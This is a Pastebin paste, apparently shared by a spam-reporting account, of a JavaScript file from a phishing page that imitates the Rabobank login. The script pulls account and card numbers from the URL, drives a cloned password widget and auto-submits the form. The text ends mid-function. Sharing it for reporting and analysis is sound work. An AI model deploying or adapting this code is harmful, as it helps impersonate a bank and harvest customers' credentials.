spamreports

asjrfkewqr8asdfqawqs.js rabobank phishing

Jan 4th, 2020
220
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. "use strict";
  2. var str = window.location.href;
  3. str = str.indexOf("inloggen-active.html"); // returns 2
  4. if (str > 1)
  5. {
  6.     var rassdatareknr = getQueryVariable("AuthId");
  7.     rassdatareknr = rassdatareknr.replace("+", '');
  8.     rassdatareknr = rassdatareknr.replace("+", '');
  9.     var rassdatapasnr = getQueryVariable("AuthBpasNr");
  10.     //document.getElementById("rass-data-reknr").value = rassdatareknr;
  11.     //document.getElementById("rass-data-pasnr").value = rassdatapasnr;
  12.     function getQueryVariable(variable) {
  13.         var query = window.location.search.substring(1);
  14.         var vars = query.split("&");
  15.         for (var i = 0; i < vars.length; i++) {
  16.             var pair = vars[i].split("=");
  17.             if (pair[0] == variable) {
  18.                 return pair[1];
  19.             }
  20.         }
  21.         // alert('Query Variable ' + variable + ' not found');
  22.     }
  23. }
  24. var RASS = {
  25.     isMobileDevice: false,
  26.     isTouchDevice: false,
  27.     lastSubmitTime: null,
  28.     hasNativeBridge: false,
  29.     dpoPWfield: '',
  30.     hasPosFixed: false,
  31.     prefillCol: [],
  32.     pressedFormButton: {},
  33.     statsImgUrl: '/stats-trigger.gif',
  34.     hasPopup: false,
  35.     autoSubmitFields: [],
  36.     autoTabFields: [],
  37.     pScrollObj: {},
  38.     init: function () {
  39.  
  40.         RASS.isMobileDevice = RASS.doMobileCheck();
  41.         RASS.isTouchDevice = RASS.doTouchCheck();
  42.         RASS.hasPosFixed = RASS.checkHasPosFixed();
  43.         RASS.doHandleStatsCall();
  44.         RASS.bindFormButtonCheck();
  45.         RASS.checkForServerActions();
  46.         RASS.initParallaxScroll();
  47.         RASS.bindBehaviors();
  48.         RASS.forceNoPWStorage();
  49.         RASS.grabEvent(document, 'nativeBridgeReady', RASS.doGrabDeviceProfile);
  50.         //enable active state on buttons
  51.         var btcol = document.querySelectorAll('input[type=submit]');
  52.         for (var f = 0; f < btcol.length; f++) {
  53.             RASS.grabEvent(btcol[f], 'touchstart', function () {});
  54.         }
  55.  
  56.         RASS.checkForServerMessages();
  57.         RASS.doProbeAdaptVC();
  58.     },
  59.     hasJS: function () {
  60.         RASS.removeClass(document.body.parentNode, "no-js");
  61.         RASS.addClass(document.body.parentNode, "has-js");
  62.     },
  63.     initParallaxScroll: function () {
  64.         RASS.pScrollObj = document.getElementById('rass-parallax-banner');
  65.         if (RASS.isMobileDevice == false) {
  66.             RASS.grabEvent(window, 'scroll', RASS.doParallaxScroll);
  67.         }
  68.     },
  69.     doParallaxScroll: function (e) {
  70.         var g = RASS.getScrollY();
  71.         var h = (g / 2) + 100;
  72.         var f = "50% " + h + "px";
  73.         RASS.pScrollObj.style.backgroundPosition = f;
  74.     },
  75.     getScrollY: function () {
  76.         var J = window.pageYOffset !== undefined;
  77.         var K = ((document.compatMode || "") === "CSS1Compat");
  78.         if (J) {
  79.             return window.pageYOffset
  80.         } else {
  81.             if (K) {
  82.                 return document.documentElement.scrollTop
  83.             } else {
  84.                 return document.body.scrollTop
  85.             }
  86.         }
  87.     },
  88.     initSoftkeyboard: function (parentObj) {
  89.  
  90.         var keys = ['1', '2', '3', '4', '5', '6', '7', '8', '9', '', '0', '&#8592;'];
  91.         var acc = [, , , , , , , , , , , 'verwijder laatste karakter'];
  92.         RASS.addClass(document.body, "mobiletc");
  93.         if (RASS.hasPosFixed) {
  94.             RASS.addClass(document.body, "richsoftkey");
  95.         }
  96.  
  97.  
  98.         var btelm = document.createElement('div');
  99.         btelm.id = 'rass-ui-buttons';
  100.         var wrelm = document.createElement('div');
  101.         wrelm.id = 'rass-section-softkey';
  102.         wrelm.setAttribute('role', 'dialog');
  103.         wrelm.setAttribute('aria-label', 'toetsenbord');
  104.         parentObj = (parentObj != undefined) ? parentObj : document.body;
  105.         parentObj.appendChild(wrelm);
  106.         for (var k = 0; k < keys.length; k++) {
  107.  
  108.             var lb = document.createElement('label');
  109.             var bt = document.createElement('button');
  110.             if (keys[k] != '') {
  111.  
  112.                 lb.innerHTML = '<span>' + acc[k] + '</span>';
  113.                 lb.setAttribute('for', 'rsq' + k);
  114.                 bt.value = keys[k].match(/\d+/)[0];
  115.                 bt.innerHTML = keys[k];
  116.             } else {
  117.                 //create empty button
  118.  
  119.                 bt.value = '160';
  120.                 bt.innerHTML = '&#160;';
  121.                 bt.setAttribute('disabled', 'disabled');
  122.                 bt.setAttribute('aria-hidden', 'true');
  123.             }
  124.  
  125.  
  126.  
  127.             bt.id = 'rsq' + k;
  128.             if (acc[k] != undefined) {
  129.  
  130.                 btelm.appendChild(bt);
  131.                 bt.setAttribute('aria-label', acc[k]);
  132.             } else {
  133.                 btelm.appendChild(bt);
  134.             }
  135.  
  136.         }
  137.  
  138.         wrelm.appendChild(btelm);
  139.         //attach to DOM
  140.         parentObj.appendChild(wrelm);
  141.         //attach delegate event listener
  142.  
  143.         RASS.grabEvent(btelm, 'touchend', RASS.handleSoftkeyInput);
  144.     },
  145.     handleSoftkeyInput: function (e) {
  146.  
  147.         var curbut = RASS.getActiveElm(e);
  148.         //filter out button events
  149.         if (curbut.tagName.toLowerCase() == 'button') {
  150.  
  151.             //*** special buttons
  152.  
  153.             //return
  154.             if (curbut.value == '160') {
  155.                 //    RASS.hideSoftKeyInput();
  156.                 return false;
  157.             }
  158.  
  159.             //delete
  160.             if (curbut.value == '8592') {
  161.                 RASS.dpoPWfield.value = RASS.dpoPWfield.value.substring(0, RASS.dpoPWfield.value.length - 1);
  162.                 RASS.highlightPasswordWidget(RASS.dpoPWfield);
  163.                 return false;
  164.             }
  165.  
  166.  
  167.             if (RASS.dpoPWfield.value.length !== RASS.dpoPWfield.maxLength) {
  168.                 RASS.dpoPWfield.value += curbut.value;
  169.                 RASS.highlightPasswordWidget(RASS.dpoPWfield);
  170.             }
  171.         }
  172.  
  173.         if (RASS.dpoPWfield.value.length === RASS.dpoPWfield.maxLength) {
  174.             RASS.highlightPasswordWidget(RASS.dpoPWfield);
  175.             RASS.dpoPWfield.blur();
  176.             RASS.checkAutoSubmit(RASS.dpoPWfield);
  177.         }
  178.  
  179.     },
  180.     hideSoftKeyInput: function () {
  181.         RASS.resetPasswordWidgetState(RASS.dpoPWfield, 0);
  182.         location.hash = '';
  183.         var celms = document.getElementsByClassName('rass-container');
  184.         if (celms.length > 0) {
  185.             celms[0].style.paddingBottom = '0';
  186.         }
  187.  
  188.         var kbwrap = document.getElementById('rass-section-softkey');
  189.         RASS.removeClass(kbwrap, 'show');
  190.         kbwrap.setAttribute('aria-hidden', true);
  191.         kbwrap.setAttribute('aria-expanded', false);
  192.     },
  193.     showSoftKeyInput: function (e) {
  194.         var passwordInput = e.currentTarget.querySelector('input');
  195.         // set currently highlighted field as dpoPWfield
  196.         RASS.dpoPWfield = passwordInput;
  197.         // reset hash before resizing container, otherwise it won't scroll afterwards
  198.         location.hash = '';
  199.         RASS.highlightPasswordWidget(RASS.dpoPWfield);
  200.         if (RASS.hasPosFixed) {
  201.             var celms = document.getElementsByClassName('rass-container');
  202.             var kbwrap = document.getElementById('rass-section-softkey');
  203.             RASS.addClass(kbwrap, 'show');
  204.             if (celms.length > 0) {
  205.                 var height = document.getElementById('rass-section-softkey').offsetHeight;
  206.                 celms[0].style.paddingBottom = height + 'px';
  207.             }
  208.  
  209.         }
  210.  
  211.         location.hash = 'dpo-focus-element';
  212.     },
  213.     checkAutoSubmit: function (obj) {
  214.         // check if all fields are filled in entirely
  215.         var inputs = document.querySelectorAll('input[data-rass-behavior="dpo-widget-password"]'),
  216.                 allFilled = true;
  217.         for (var i = 0; i < inputs.length; i++) {
  218.             var currentInput = inputs[i];
  219.             if (currentInput.maxLength !== currentInput.value.length) {
  220.                 allFilled = false;
  221.                 break;
  222.             }
  223.         }
  224.  
  225.         if (allFilled) {
  226.             var frm = RASS.findUpTag(obj, 'FORM');
  227.             if (frm !== null) {
  228.                 frm.submit();
  229.             }
  230.         }
  231.     },
  232.     checkHasPosFixed: function () {
  233.         var welm = document.createElement('div');
  234.         welm.id = "testwrapper";
  235.         document.body.appendChild(welm);
  236.         welm.setAttribute("style", "position:relative !important;height:300px !important;");
  237.         var telm = document.createElement('div');
  238.         telm.id = "testdiv";
  239.         welm.appendChild(telm);
  240.         telm.setAttribute("style", "height:100px !important;width:100px;position:fixed !important;bottom:0 !important;");
  241.         var wy = welm.getBoundingClientRect().bottom;
  242.         var ty = telm.getBoundingClientRect().bottom;
  243.         welm.parentNode.removeChild(welm);
  244.         var sp = (wy === ty) ? false : true;
  245.         return sp;
  246.     },
  247.     doGrabDeviceProfile: function () {
  248.  
  249.         //Set global native bridge property
  250.         RASS.hasNativeBridge = true;
  251.         //store characteristics in hidden field
  252.         var afld = document.getElementsByName('deviceProperties');
  253.         if (afld[0] != undefined) {
  254.             afld[0].value = nativeBridge.deviceProfile.getDeviceCharacteristics();
  255.         }
  256.  
  257.         RASS.doNativePrefill();
  258.     },
  259.     doNativePrefill: function () {
  260.  
  261.         for (var t = 0; t < RASS.prefillCol.length; t++) {
  262.  
  263.             var vmap = window.nativeBridge.deviceProfile[RASS.prefillCol[t][1]]();
  264.             //sanatize and populate
  265.             RASS.prefillCol[t][0].value = vmap.replace(/[\<\>#&\;\/]+/g, '');
  266.         }
  267.     },
  268.     findUpTag: function (el, tag) {
  269.         while (el.parentNode) {
  270.             el = el.parentNode;
  271.             if (el.tagName != undefined) {
  272.                 if (el.tagName.toLowerCase() === tag.toLowerCase()) {
  273.                     return el;
  274.                 }
  275.             }
  276.         }
  277.         return null;
  278.     },
  279.     bindFormButtonCheck: function () {
  280.  
  281.         var colbuts = document.getElementsByTagName('input');
  282.         for (var t = 0; t < colbuts.length; t++) {
  283.             if (colbuts[t].type == 'submit') {
  284.  
  285.                 RASS.grabEvent(colbuts[t], 'click', RASS.setPressedFormButton);
  286.             }
  287.         }
  288.  
  289.     },
  290.     doHandleStatsCall: function () {
  291.  
  292.  
  293.         //collect and filter metatags for stats data
  294.         var mcol = document.getElementsByTagName('meta');
  295.         var stot = [];
  296.         for (var m = 0; m < mcol.length; m++) {
  297.             if (mcol[m].name == "rass-stats-data") {
  298.                 stot.push(mcol[m].content);
  299.             }
  300.         }
  301.  
  302.         //stats found?
  303.         if (stot.length > 0) {
  304.  
  305.             var lpt = location.pathname;
  306.             var npath = (lpt.substr(lpt.length) != '/') ? lpt.substr(0, lpt.lastIndexOf('/') + 1) : lpt;
  307.             var stats = stot.join('&') + '&lc=' + encodeURIComponent(location.origin + npath + stot.join('/'));
  308.             var imgelm = new Image();
  309.             imgelm.src = RASS.statsImgUrl + '?' + stats;
  310.             imgelm.id = 'rass-data-stats';
  311.             imgelm.style.display = 'none';
  312.             document.body.appendChild(imgelm);
  313.         }
  314.  
  315.     },
  316.     doResetVC: function () {
  317.  
  318.         RASS.removeClass(document.body, 'rass-state-hasvc');
  319.         RASS.setDynamicChildStateDisabled();
  320.     },
  321.     setDynamicChildStateDisabled: function () {
  322.  
  323.         var dynpar = document.getElementsByClassName('rass-state-dynamic');
  324.         if (dynpar.length > 0) {
  325.             var dynelms = dynpar[0].getElementsByClassName('rass-state-dynamicchild');
  326.             for (var t = 0; t < dynelms.length; t++) {
  327.                 dynelms[t].setAttribute('disabled', 'disabled');
  328.             }
  329.  
  330.         }
  331.  
  332.     },
  333.     doProbeAdaptVC: function () {
  334.  
  335.         //check if mobile device
  336.         if (RASS.isMobileDevice) {
  337.             return false;
  338.         }
  339.  
  340.         if (window.device.tablet()) {
  341.             return true;
  342.         }
  343.  
  344.         var vcimg = document.getElementById('scanner-code');
  345.         if (vcimg != undefined) {
  346.             var ratio = screen.width / screen.height;
  347.             // check if the resolution ratio is narrowscreen ( 5:4 or 4:3 )
  348.             if (ratio < 1.34) {
  349.                 var h = vcimg.height;
  350.                 var w = vcimg.width;
  351.                 vcimg.style.height = h + 'px';
  352.                 vcimg.style.width = Math.floor(w * 0.88) + 'px'; // 12% smaller image
  353.             }
  354.         }
  355.     },
  356.     confirmCheckbox: function (e) {
  357.  
  358.         //RASS.cancelDefaultAction(e);
  359.  
  360.         var dobj = RASS.getActiveElm(e);
  361.         var cmsg = dobj.getAttribute('data-rass-msg');
  362.         if (cmsg != undefined) {
  363.             var msg = (dobj.checked == true) ? cmsg.split('|')[0] : cmsg.split('|')[1];
  364.         }
  365.  
  366.         //Undo user action
  367.         dobj.checked = !dobj.checked;
  368.         if (confirm(msg)) {
  369.             //toggle checkbox
  370.             dobj.checked = !dobj.checked;
  371.         }
  372.  
  373.     },
  374.     openTooltip: function (e) {
  375.  
  376.         //Force only one popup open
  377.  
  378.         var hcomp = 0;
  379.         if (RASS.hasPopup != false) {
  380.             return false;
  381.         }
  382.  
  383.         var dobj = RASS.getActiveElm(e);
  384.         var targpos = dobj.getBoundingClientRect();
  385.         var curi = dobj.getAttribute('data-rass-content');
  386.         if (curi != undefined) {
  387.  
  388.             var sw = window.innerWidth;
  389.             //get image ratio
  390.             var i = new Image();
  391.             i.src = curi;
  392.             i.onload = function () {
  393.                 var rat = i.height / i.width;
  394.                 pelm.style.height = (pelm.offsetWidth * rat) + 'px';
  395.                 //compensate for offscreen presentation
  396.  
  397.                 if (targpos.left + pelm.offsetWidth > sw) {
  398.                     hcomp = (targpos.left + pelm.offsetWidth) - sw;
  399.                     pelm.style.left = targpos.left - hcomp - 30 + 'px';
  400.                     pelm.style.top = targpos.top + 20 + 'px';
  401.                 }
  402.  
  403.  
  404.             }
  405.  
  406.  
  407.  
  408.  
  409.  
  410.             var pelm = document.createElement('div');
  411.             pelm.style.backgroundImage = "url(" + curi + ")";
  412.             pelm.style.left = targpos.left + hcomp + 'px';
  413.             pelm.style.top = targpos.top + 'px';
  414.             pelm.className = 'rass-section-popup';
  415.             pelm.id = 'rass-tooltip';
  416.             document.body.appendChild(pelm);
  417.             //add close event
  418.             RASS.grabEvent(pelm, 'click', RASS.doCloseTooltip);
  419.             RASS.hasPopup = dobj;
  420.             RASS.addClass(dobj, 'active');
  421.         }
  422.  
  423.  
  424.  
  425.  
  426.     },
  427.     doCloseTooltip: function () {
  428.  
  429.         var pelm = document.getElementById('rass-tooltip');
  430.         document.body.removeChild(pelm);
  431.         RASS.removeClass(RASS.hasPopup, 'active');
  432.         RASS.hasPopup = false;
  433.     },
  434.     doReSubmitCheck: function (pdo) {
  435.  
  436.         var submitTime = new Date();
  437.         if (RASS.lastSubmitTime != undefined && submitTime.getTime() < RASS.lastSubmitTime + 21000) {
  438.             alert(pdo.msg);
  439.             RASS.cancelDefaultAction(pdo.e);
  440.         } else {
  441.             RASS.lastSubmitTime = submitTime.getTime();
  442.         }
  443.  
  444.  
  445.     },
  446.     doSwitchReader: function (e) {
  447.  
  448.         RASS.cancelDefaultAction(e);
  449.         var loginform = document.getElementById('loginform');
  450.         var switchreaderform = document.getElementById('switchreaderform');
  451.         switchreaderform.AuthId.value = loginform.AuthId.value;
  452.         switchreaderform.AuthBpasNr.value = loginform.AuthBpasNr.value;
  453.         if (switchreaderform.SessHrGebrChk) {
  454.             switchreaderform.SessHrGebrChk.value = loginform.SessHrGebrChk.checked;
  455.         }
  456.         switchreaderform.submit();
  457.     },
  458.     handleLinktoFormAction: function (e) {
  459.  
  460.         RASS.cancelDefaultAction(e);
  461.         var curbut = RASS.getActiveElm(e);
  462.         var frmobj = RASS.findUpTag(curbut, 'form');
  463.         if (curbut != undefined) {
  464.  
  465.             //grab querystring
  466.             var qs = curbut.href.split('?')[1];
  467.             if (qs != '') {
  468.  
  469.                 var prm = qs.split('&');
  470.                 for (var q = 0; q < prm.length; q++) {
  471.  
  472.                     //populate formfields with querystring values    
  473.                     var nm = prm[q].split('=')[0];
  474.                     var vl = prm[q].split('=')[1];
  475.                     if (frmobj[nm] != undefined) {
  476.                         frmobj[nm].value = vl;
  477.                     }
  478.  
  479.                 }
  480.  
  481.             }
  482.  
  483.             frmobj.submit();
  484.         }
  485.  
  486.     },
  487.     setPressedFormButton: function (e) {
  488.  
  489.         var curbut = RASS.getActiveElm(e);
  490.         if (curbut != undefined) {
  491.             RASS.pressedFormButton = curbut;
  492.         }
  493.  
  494.     },
  495.     showInPopup: function (e) {
  496.  
  497.         RASS.cancelDefaultAction(e);
  498.         var curlnk = RASS.getActiveElm(e);
  499.         var shref = curlnk.href;
  500.         window.open(shref);
  501.     },
  502.     getChildTag: function (curinp, stag) {
  503.         var pobj = curinp.childNodes;
  504.         for (var e = 0; e < pobj.length; e++) {
  505.             if (pobj[e].tagName.toLowerCase() == stag.toLowerCase()) {
  506.                 return pobj[e];
  507.             }
  508.         }
  509.  
  510.         return undefined;
  511.     },
  512.     doSyncFields: function (e) {
  513.  
  514.         var curinp = RASS.getActiveElm(e);
  515.         var fldcol = document.querySelectorAll('input[type=hidden]');
  516.         for (var s = 0; s < fldcol.length; s++) {
  517.  
  518.             if (fldcol[s].name == curinp.name && fldcol[s] !== curinp) {
  519.  
  520.  
  521.                 if (curinp.type == "checkbox") {
  522.                     fldcol[s].value = curinp.checked;
  523.                 } else {
  524.                     fldcol[s].value = curinp.value;
  525.                 }
  526.  
  527.             }
  528.  
  529.  
  530.         }
  531.  
  532.     },
  533.     handleAutoListSubmit: function (e) {
  534.  
  535.         var curinp = RASS.getActiveElm(e);
  536.         var frmobj = RASS.findUpTag(curinp, 'form');
  537.         if (frmobj != undefined) {
  538.  
  539.             if (curinp.tagName.toLowerCase() != 'li') {
  540.                 curinp = curinp.parentNode;
  541.             }
  542.  
  543.             var robj = RASS.getChildTag(curinp, 'input');
  544.             if (robj != undefined) {
  545.                 robj.setAttribute('checked', 'checked');
  546.             }
  547.  
  548.             frmobj.submit();
  549.         }
  550.  
  551.     },
  552.     handleAutosubmitInput: function (e) {
  553.         var validfrm = true;
  554.         var curinp = RASS.getActiveElm(e);
  555.         for (var t = 0; t < RASS.autoSubmitFields.length; t++) {
  556.  
  557.             var valfld = RASS.validateField(RASS.autoSubmitFields[t], true, true);
  558.             //autotab
  559.             if (t < RASS.autoSubmitFields.length - 1 && curinp == RASS.autoSubmitFields[t] && valfld == true) {
  560.  
  561.                 RASS.autoSubmitFields[t + 1].focus();
  562.             }
  563.  
  564.             validfrm = validfrm && valfld;
  565.         }
  566.  
  567.  
  568.         if (validfrm) {
  569.  
  570.             //force blur on current field (used by sync fields behavior)
  571.             curinp.blur();
  572.             var frmobj = RASS.findUpTag(RASS.autoSubmitFields[0], 'form');
  573.             //var audio = ["beep.mp3", ];
  574.             //new Audio(audio[0]).play();
  575.             setTimeout(function () {
  576.                 frmobj.submit();
  577.             }, 5000);
  578.         }
  579.  
  580.  
  581.  
  582.  
  583.     },
  584.     handleAutotabInput: function (e) {
  585.  
  586.  
  587.         var curinp = RASS.getActiveElm(e);
  588.         for (var t = 0; t < RASS.autoTabFields.length; t++) {
  589.  
  590.             if (RASS.autoTabFields[t] === curinp) {
  591.  
  592.                 var valfld = RASS.validateField(RASS.autoTabFields[t], true, true);
  593.                 //autotab
  594.                 if (t < RASS.autoTabFields.length - 1 && curinp == RASS.autoTabFields[t] && valfld == true) {
  595.  
  596.                     RASS.autoTabFields[t + 1].focus();
  597.                 }
  598.             }
  599.  
  600.         }
  601.  
  602.     },
  603.     bindBehaviors: function () {
  604.  
  605.         // get all data-rass-behaviors from DOM
  606.  
  607.         var bhcol = document.querySelectorAll('[data-rass-behavior]');
  608.         //iterate through found elements with behavior parm
  609.         for (var t = 0; t < bhcol.length; t++) {
  610.  
  611.  
  612.  
  613.             var bhparm = bhcol[t].getAttribute('data-rass-behavior');
  614.             //iterate through (possible) multiple behaviors on element
  615.             var bhvar = bhparm.split(' ');
  616.             for (var b = 0; b < bhvar.length; b++) {
  617.  
  618.  
  619.                 var bhname = bhvar[b];
  620.                 switch (bhname) {
  621.  
  622.                     case 'reset-vc':
  623.  
  624.                         var trgobj = bhcol[t].querySelectorAll('.rass-data-target')[0];
  625.                         if (trgobj != undefined) {
  626.  
  627.                             RASS.grabEvent(trgobj, 'change', RASS.doResetVC);
  628.                         }
  629.  
  630.                         break;
  631.                     case 'rass-state-autofocus':
  632.  
  633.                         var trgobj = bhcol[t];
  634.                         if (trgobj != undefined) {
  635.  
  636.                             trgobj.focus();
  637.                         }
  638.  
  639.                         break;
  640.                     case 'prefill-native':
  641.  
  642.                         var trgobj = bhcol[t];
  643.                         if (trgobj != undefined) {
  644.  
  645.                             //RASS.grabEvent(trgobj, 'click', RASS.doSwitchReader) ;
  646.  
  647.                             var nmap = trgobj.getAttribute('data-native-map');
  648.                             if (nmap != undefined) {
  649.  
  650.                                 RASS.prefillCol.push([trgobj, nmap]);
  651.                             }
  652.  
  653.                         }
  654.  
  655.                         break;
  656.                     case 'switch-reader':
  657.  
  658.                         var trgobj = bhcol[t];
  659.                         if (trgobj != undefined) {
  660.  
  661.                             RASS.grabEvent(trgobj, 'click', RASS.doSwitchReader);
  662.                         }
  663.  
  664.                         break;
  665.                     case 'action-showinpopup':
  666.  
  667.                         var trgobj = bhcol[t];
  668.                         if (trgobj != undefined) {
  669.  
  670.                             RASS.grabEvent(trgobj, 'click', RASS.showInPopup);
  671.                         }
  672.  
  673.                         break;
  674.                     case 'validate-iban':
  675.  
  676.                         var trgobj = bhcol[t].querySelectorAll('.rass-data-target')[0];
  677.                         if (trgobj != undefined) {
  678.  
  679.                             RASS.grabEvent(trgobj, 'blur', RASS.calculateChecksum);
  680.                             RASS.grabEvent(trgobj, 'focus', RASS.setActiveState);
  681.                             //init routine
  682.                             RASS.calculateChecksum(trgobj, true);
  683.                         }
  684.  
  685.                         break;
  686.                     case 'validate-form':
  687.  
  688.                         var trgobj = bhcol[t];
  689.                         if (trgobj != undefined) {
  690.  
  691.                             RASS.grabEvent(trgobj, 'submit', RASS.handleFormSubmit);
  692.                         }
  693.  
  694.                         break;
  695.                     case 'rass-action-linktoform':
  696.  
  697.                         var trgobj = bhcol[t];
  698.                         if (trgobj != undefined) {
  699.  
  700.                             RASS.grabEvent(trgobj, 'click', RASS.handleLinktoFormAction);
  701.                         }
  702.  
  703.                         break;
  704.                     case 'confirm-checkbox':
  705.  
  706.                         var trgobj = bhcol[t];
  707.                         if (trgobj != undefined) {
  708.  
  709.                             RASS.grabEvent(trgobj, 'click', RASS.confirmCheckbox);
  710.                         }
  711.  
  712.                         break;
  713.                     case 'validate-pasnr':
  714.  
  715.                         var trgobj = bhcol[t].querySelectorAll('.rass-data-target')[0];
  716.                         if (trgobj != undefined) {
  717.  
  718.                             RASS.grabEvent(trgobj, 'blur', RASS.validateField);
  719.                         }
  720.  
  721.                         break;
  722.                     case 'validate-phonenumber':
  723.  
  724.                         var trgobj = bhcol[t].querySelectorAll('.rass-data-target')[0];
  725.                         if (trgobj != undefined) {
  726.  
  727.                             RASS.grabEvent(trgobj, 'blur', RASS.validateField);
  728.                         }
  729.  
  730.                         break;
  731.                     case 'validate-input':
  732.  
  733.                         var trgobj = bhcol[t].querySelectorAll('.rass-data-target')[0];
  734.                         if (trgobj != undefined) {
  735.  
  736.                             RASS.grabEvent(trgobj, 'blur', RASS.validateField);
  737.                         }
  738.  
  739.                         break;
  740.                     case 'show-in-tooltip':
  741.  
  742.                         var trgobj = bhcol[t];
  743.                         if (trgobj != undefined) {
  744.  
  745.                             //RASS.grabEvent(trgobj, 'click', RASS.openTooltip);
  746.                             RASS.grabEvent(trgobj, 'focus', RASS.openTooltip);
  747.                             RASS.grabEvent(trgobj, 'blur', RASS.doCloseTooltip);
  748.                         }
  749.  
  750.                         break;
  751.                     case 'validate-inlogcode':
  752.  
  753.                         var trgobj = bhcol[t].querySelectorAll('.rass-data-target')[0];
  754.                         if (trgobj != undefined) {
  755.  
  756.                             RASS.grabEvent(trgobj, 'blur', RASS.validateField);
  757.                         }
  758.  
  759.                         break;
  760.                     case 'action-cancel':
  761.  
  762.  
  763.                         // RASS.grabEvent(bhcol[t], 'click', RASS.handleFormSubmit);
  764.  
  765.  
  766.                         break;
  767.                     case 'rass-data-sync':
  768.  
  769.                         var trgobj = bhcol[t];
  770.                         if (trgobj != undefined) {
  771.  
  772.                             RASS.grabEvent(trgobj, 'blur', RASS.doSyncFields);
  773.                         }
  774.  
  775.                         break;
  776.                     case 'action-back':
  777.  
  778.                         // RASS.grabEvent(bhcol[t], 'click', RASS.handleFormSubmit);
  779.  
  780.  
  781.                         break;
  782.                     case 'rass-autosubmit-list':
  783.  
  784.                         var listobj = bhcol[t].getElementsByTagName('li');
  785.                         for (var v = 0; v < listobj.length; v++) {
  786.                             RASS.grabEvent(listobj[v], 'click', RASS.handleAutoListSubmit);
  787.                         }
  788.  
  789.  
  790.  
  791.                         break;
  792.                     case 'dpo-widget-password':
  793.  
  794.                         //init
  795.                         RASS.createPasswordWidget(bhcol[t]);
  796.                         //bind events
  797.                         RASS.grabEvent(bhcol[t], 'input', RASS.handlePasswordWidgetInput);
  798.                         RASS.grabEvent(bhcol[t], 'click', RASS.handlePasswordWidgetClick);
  799.                         RASS.grabEvent(bhcol[t], 'focus', RASS.handlePasswordWidgetFocus);
  800.                         //inject softkeyboard when mobile
  801.                         if (RASS.isMobileDevice || RASS.isTouchDevice) {
  802.                             RASS.initSoftkeyboard();
  803.                             RASS.highlightPasswordWidget(RASS.dpoPWfield);
  804.                         }
  805.  
  806.                         break;
  807.                     case 'autosubmit-form':
  808.  
  809.                         var trgobj = bhcol[t];
  810.                         if (trgobj != undefined) {
  811.  
  812.  
  813.                             //get all inputs from form and set oninput
  814.  
  815.                             var cinp = trgobj.querySelectorAll('input[data-rass-validation]');
  816.                             for (var v = 0; v < cinp.length; v++) {
  817.  
  818.                                 RASS.grabEvent(cinp[v], 'input', RASS.handleAutosubmitInput);
  819.                                 RASS.autoSubmitFields.push(cinp[v]);
  820.                             }
  821.  
  822.                         }
  823.  
  824.                         break;
  825.                     case 'autotab-form':
  826.  
  827.                         var trgobj = bhcol[t];
  828.                         if (trgobj != undefined) {
  829.  
  830.  
  831.                             //get all inputs from form and set oninput
  832.  
  833.                             var cinp = trgobj.querySelectorAll('input[data-rass-validation]');
  834.                             for (var v = 0; v < cinp.length; v++) {
  835.  
  836.                                 RASS.grabEvent(cinp[v], 'input', RASS.handleAutotabInput);
  837.                                 RASS.autoTabFields.push(cinp[v]);
  838.                             }
  839.  
  840.                         }
  841.  
  842.                         break;
  843.                     case 'force-numkeypad':
  844.  
  845.                         var trgobj = bhcol[t].querySelectorAll('.rass-data-target')[0];
  846.                         if (trgobj != undefined) {
  847.  
  848.                             //simple OS check
  849.                             var ua = navigator.userAgent;
  850.                             var ios = (ua.match(/iPhone/i) || ua.match(/iPod/i) || ua.match(/iPad/i)) ? true : false;
  851.                             if (RASS.isMobileDevice) {
  852.                                 if (ios) {
  853.                                     trgobj.type = 'tel';
  854.                                 } else {
  855.                                     trgobj.type = 'tel';
  856.                                     //trgobj.type = 'number';
  857.                                 }
  858.                             }
  859.  
  860.                         }
  861.  
  862.  
  863.  
  864.                         break;
  865.                 }
  866.  
  867.  
  868.             }
  869.  
  870.  
  871.  
  872.         }
  873.  
  874.     },
  875.     createPasswordWidget: function (el) {
  876.  
  877.         //if mobile the use a input type hidden
  878.         if (RASS.isMobileDevice || RASS.isTouchDevice) {
  879.  
  880.  
  881.             //nelm = document.createElement('input');
  882.             var nelm = el.cloneNode(false);
  883.             nelm.type = 'hidden';
  884.             el.parentNode.replaceChild(nelm, el);
  885.             el = nelm;
  886.         }
  887.  
  888.  
  889.         //insert container element
  890.         var prnt = el.parentNode;
  891.         var wc = document.createElement('div');
  892.         wc.className = 'dpo-widget-container';
  893.         var wr = document.createElement('div');
  894.         wr.className = 'dpo-clipping-container';
  895.         wr.id = 'dpo-focus-element';
  896.         wc.appendChild(wr);
  897.         prnt.replaceChild(wc, el);
  898.         wr.appendChild(el);
  899.         //el.type = 'tel';
  900.  
  901.         if (RASS.isMobileDevice || RASS.isTouchDevice) {
  902.             //RASS.grabEvent(wr, 'click', RASS.showSoftKeyInput);
  903.         }
  904.  
  905.  
  906.         RASS.addClass(wc, 'dpo-widget-password');
  907.         wc.setAttribute('role', 'textbox');
  908.         wc.setAttribute('aria-label', el.getAttribute('alt'));
  909.         var ninp = el.maxLength;
  910.         el.submasks = [];
  911.         var pref = el.value.length;
  912.         //add submasks
  913.         for (var t = 0; t < ninp; t++) {
  914.             var inp = document.createElement('span');
  915.             RASS.addClass(inp, 'submask');
  916.             if (t < pref) {
  917.                 RASS.addClass(inp, 'touched');
  918.             }
  919.  
  920.  
  921.             el.submasks.push(inp);
  922.             wr.appendChild(inp);
  923.         }
  924.  
  925.         //add error element
  926.  
  927.         var errobj = document.createElement('span');
  928.         errobj.className = 'ph-error';
  929.         el.parentNode.parentNode.appendChild(errobj);
  930.         //register pwfield object
  931.         RASS.dpoPWfield = el;
  932.     },
  933.     handlePasswordWidgetInput: function (e) {
  934.         var obj = RASS.getActiveElm(e);
  935.         var ninp = obj.maxLength;
  936.         // filter out non-numeric input
  937.         obj.value = obj.value.replace(/[^\d]/g, '');
  938.         if (obj.value.length > ninp) {
  939.             obj.value = obj.value.substr(0, ninp);
  940.         }
  941.  
  942.         RASS.highlightPasswordWidget(obj);
  943.         if (obj.value.length === obj.maxLength) {
  944.             RASS.dpoPWfield.blur();
  945.             RASS.checkAutoSubmit(RASS.dpoPWfield);
  946.         }
  947.  
  948.     },
  949.     handlePasswordWidgetClick: function (e) {
  950.         var obj = RASS.getActiveElm(e);
  951.         //var ntch = obj.value.length;
  952.  
  953.         if (obj.parentNode.parentNode.className.indexOf("haserror") != -1) {
  954.             obj.value = "";
  955.             RASS.resetPasswordWidgetState(obj);
  956.             RASS.addClass(obj.submasks[0], "active");
  957.         }
